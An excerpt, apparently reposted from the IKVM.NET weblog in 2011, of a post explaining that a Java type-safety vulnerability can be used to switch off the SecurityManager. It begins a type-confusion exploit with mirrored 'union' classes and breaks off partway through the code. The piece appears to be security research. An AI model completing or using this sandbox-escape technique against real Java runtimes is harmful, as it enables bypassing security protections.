How To Disable the Java Security Manager
Posted by: IKVM.NET Weblog,
on 01 Aug 2011 |
View original | Bookmarked: 0 time(s)
Suppose you have a type safety vulnerability in Java, you could use it to execute
native code, but you can also simply disable the SecurityManager:
import java.io.*;
import java.lang.ref.*;
import java.lang.reflect.*;
class Union1 {
ObjectStreamClass osc;
Class c;
AccessibleObject acc;
}
class Union2 {
MyObjectStreamClass osc;
MyClass c;
MyAccessibleObject acc;
}
class MyObjectStreamClass {
int i1;
int i2;
int i3;
int i4;
...